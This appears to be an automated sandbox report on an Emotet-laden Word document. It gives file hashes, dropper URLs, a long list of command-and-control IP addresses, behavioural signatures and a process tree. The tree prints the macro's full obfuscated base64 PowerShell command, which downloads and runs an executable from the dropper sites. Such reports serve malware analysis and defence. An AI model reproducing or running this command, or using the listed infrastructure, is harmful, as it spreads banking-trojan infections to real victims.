emotet | 08d1bd7eb9b7a4ff987f2d3825da852bee8259128948a327f78e7b1b843c3e8d

General

Target
emotet_e3_08d1bd7eb9b7a4ff987f2d3825da852bee8259128948a327f78e7b1b843c3e8d_2020-08-12__095800._doc.doc
Size 230KB
Sample200812-n686l45amn
SHA256 08d1bd7eb9b7a4ff987f2d3825da852bee8259128948a327f78e7b1b843c3e8d
MD5 e094116c5965203b41746b3b0d1fb3db
SHA1 796ad71297c5e76e6ef53527d4c381a2d59e971f
SHA512 d73a1ca89955cb2e13b8a7d166ba26f62d0036ee21213c7186d58110beda8b96088c47ca8d21cff7533ae2ab672d37b9490b0002526fbb203b989ebf13791fb3
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://disbain.es/wp-includes/sjDqmAWt/
exe.dropper
https://bluecoach.me/pllbl/PuBDVuY/
exe.dropper
https://ahdaaf.me/site/o8pybs6024/
exe.dropper
http://kjnk.ee/awstats-icon/eOn/
exe.dropper
https://backroom.co.nz/1080/ansyQsw/

Extracted

Family

emotet

C2

92.24.51.238:80
139.99.157.213:8080
188.166.25.84:8080
81.214.253.80:443
5.79.70.250:8080
41.185.29.128:8080
181.164.110.7:80
177.37.81.212:443
203.153.216.178:7080
178.33.167.120:8080
77.74.78.80:443
37.70.131.107:80
190.164.75.175:80
75.127.14.170:8080
78.188.170.128:80
113.161.148.81:80
105.209.235.113:8080
177.144.130.105:443
81.17.93.134:80
181.134.9.162:80
163.172.107.70:8080
202.5.47.71:80
192.241.220.183:8080
201.235.10.215:80
203.153.216.182:7080
172.105.78.244:8080
139.59.12.63:8080
192.210.217.94:8080
97.104.107.190:80
31.146.61.34:80
107.161.30.122:8080
182.187.139.200:8080
188.251.213.180:443
37.46.129.215:8080
216.75.37.196:8080
176.9.93.82:7080
87.252.100.28:80
74.208.173.91:8080
198.57.203.63:8080
188.0.135.237:80
181.167.35.84:80
185.142.236.163:443
113.160.180.109:80
50.116.78.109:8080
115.165.3.213:80
187.64.128.197:80
78.189.60.109:443
153.220.182.49:80
87.106.231.60:8080
181.113.229.139:443
143.95.101.72:8080
46.32.229.152:8080
179.5.118.12:80
75.139.38.211:80
157.7.164.178:8081
190.55.233.156:80
212.112.113.235:80
185.208.226.142:8080
195.201.56.70:8080
115.78.11.155:80
192.163.221.191:8080
212.156.133.218:80
114.173.201.110:80
91.83.93.103:443
51.38.201.19:7080
46.105.131.68:8080
190.190.15.20:80
182.176.95.147:80
115.79.195.246:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2692	996	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3420-15-0x0000000002220000-0x000000000222C000-memory.dmp	emotet
behavioral2/memory/3420-15-0x0000000002220000-0x000000000222C000-memory.dmp	emotet
behavioral2/memory/3860-18-0x00000000005C0000-0x00000000005CC000-memory.dmp	emotet
behavioral2/memory/3860-18-0x00000000005C0000-0x00000000005CC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
16	2692	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3420	572.exe
3860	WwaApi.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\prevhost\WwaApi.exe	572.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3488	WINWORD.EXE
3488	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2692	powersheLL.exe
2692	powersheLL.exe
2692	powersheLL.exe
3860	WwaApi.exe
3860	WwaApi.exe
3860	WwaApi.exe
3860	WwaApi.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2692	powersheLL.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3420	572.exe
3420	572.exe
3860	WwaApi.exe
3860	WwaApi.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3420 wrote to memory of 3860	3420	572.exe	77
PID 3420 wrote to memory of 3860	3420	572.exe	77
PID 3420 wrote to memory of 3860	3420	572.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_08d1bd7eb9b7a4ff987f2d3825da852bee8259128948a327f78e7b1b843c3e8d_2020-08-12__095800._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3488

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABMAFUAUwBDAEcAZwBzAGMAPQAnAFkAUABKAFQASQBiAHUAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwBVAGAAUgBgAEkAVABZAFAAYABSAE8AYABUAE8AQwBvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABOAFkAVwBYAEsAbABoAHAAIAA9ACAAJwA1ADcAMgAnADsAJABBAEsAUABaAE0AeAB0AGoAPQAnAFYAWgBHAEsARABhAGwAZQAnADsAJABXAEUARABXAFkAZgBjAHgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAE4AWQBXAFgASwBsAGgAcAArACcALgBlAHgAZQAnADsAJABVAFkAVwBFAFcAdQBlAGgAPQAnAFQAUABVAEQARwB3AGYAcAAnADsAJABIAEMATABGAEIAbABhAHQAPQAuACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQB0AC4AVwBlAEIAYwBsAEkARQBOAFQAOwAkAFgASgBVAEIASgB6AGcAaAA9ACcAaAB0AHQAcABzADoALwAvAGQAaQBzAGIAYQBpAG4ALgBlAHMALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBzAGoARABxAG0AQQBXAHQALwAqAGgAdAB0AHAAcwA6AC8ALwBiAGwAdQBlAGMAbwBhAGMAaAAuAG0AZQAvAHAAbABsAGIAbAAvAFAAdQBCAEQAVgB1AFkALwAqAGgAdAB0AHAAcwA6AC8ALwBhAGgAZABhAGEAZgAuAG0AZQAvAHMAaQB0AGUALwBvADgAcAB5AGIAcwA2ADAAMgA0AC8AKgBoAHQAdABwADoALwAvAGsAagBuAGsALgBlAGUALwBhAHcAcwB0AGEAdABzAC0AaQBjAG8AbgAvAGUATwBuAC8AKgBoAHQAdABwAHMAOgAvAC8AYgBhAGMAawByAG8AbwBtAC4AYwBvAC4AbgB6AC8AMQAwADgAMAAvAGEAbgBzAHkAUQBzAHcALwAnAC4AIgBzAFAAYABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFYAVgBHAEUATQB3AGwAZwA9ACcAUgBFAEYAVABXAHgAdgBpACcAOwBmAG8AcgBlAGEAYwBoACgAJABTAEsAUwBSAFQAcgB4AHoAIABpAG4AIAAkAFgASgBVAEIASgB6AGcAaAApAHsAdAByAHkAewAkAEgAQwBMAEYAQgBsAGEAdAAuACIAZABgAG8AdwBOAGwAbwBhAEQAYABGAEkATABlACIAKAAkAFMASwBTAFIAVAByAHgAegAsACAAJABXAEUARABXAFkAZgBjAHgAKQA7ACQARQBXAE8AVQBVAGUAZgB6AD0AJwBMAFMAUwBLAEUAbwB0AHAAJwA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABXAEUARABXAFkAZgBjAHgAKQAuACIAbABFAG4AYABHAFQAaAAiACAALQBnAGUAIAAyADYAOAA0ADUAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAEUAQQB0AEUAIgAoACQAVwBFAEQAVwBZAGYAYwB4ACkAOwAkAFEATABaAFMAUABqAG4AZAA9ACcAQQBUAFgASABYAGcAYgBzACcAOwBiAHIAZQBhAGsAOwAkAEIAQgBCAFkATQBkAGEAbwA9ACcASABaAFEAQQBHAG8AZABzACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUARABZAEwASABiAHMAegA9ACcATwBLAFUARABEAHcAYQBvACcA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2692

C:\Users\Admin\572.exe
C:\Users\Admin\572.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3420
- C:\Windows\SysWOW64\prevhost\WwaApi.exe
  "C:\Windows\SysWOW64\prevhost\WwaApi.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:3860

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2692-10-0x00007FFCC7630000-0x00007FFCC801C000-memory.dmp

Download

memory/2692-11-0x000002473EE10000-0x000002473EE11000-memory.dmp

Download

memory/2692-12-0x000002473F100000-0x000002473F101000-memory.dmp

Download

memory/3420-15-0x0000000002220000-0x000000000222C000-memory.dmp

Download

memory/3488-0-0x00007FFCCEBC0000-0x00007FFCCF286000-memory.dmp

Download

memory/3488-5-0x000001CB571B3000-0x000001CB571D2000-memory.dmp

Download

memory/3860-18-0x00000000005C0000-0x00000000005CC000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads